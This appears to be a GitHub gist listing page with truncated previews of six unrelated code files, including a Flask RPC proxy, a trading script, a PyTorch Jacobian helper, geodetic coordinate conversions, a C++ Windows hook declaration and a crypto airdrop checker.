This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from flask import Flask, request | |
from flask_restful import Resource, Api | |
import requests | |
app = Flask(__name__) | |
api = Api(app) | |
default_rpc = "https://rpc.builder0x69.io/" | |
rpcs = [ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import pandas as pd | |
import time | |
import requests | |
import time | |
import hmac | |
from requests import Request | |
import sys | |
import json | |
import os |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def get_jacobian(net, x, noutputs): | |
x = x.squeeze() | |
n = x.size()[0] | |
x = x.repeat(noutputs, 1) | |
x.requires_grad_(True) | |
y = net(x) | |
y.backward(torch.eye(noutputs)) | |
return x.grad.data |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
""" | |
This script provides coordinate transformations from Geodetic -> ECEF, ECEF -> ENU | |
and Geodetic -> ENU (the composition of the two previous functions). Running the script | |
by itself runs tests. | |
based on https://gist.github.com/govert/1b373696c9a27ff4c72a. | |
""" | |
import math | |
a = 6378137 | |
b = 6356752.3142 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <tchar.h> | |
#include <Windows.h> | |
#include <iostream> | |
HHOOK hHook{ NULL }; | |
enum Keys | |
{ | |
ShiftKey = 16, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import argparse | |
import requests | |
def get_allocation(address, blockchain): | |
id = { | |
"sol": 1, | |
"eth": 2, | |
"sui": 21, | |
"aptos": 22, | |
"inj": 19, |
OlderNewer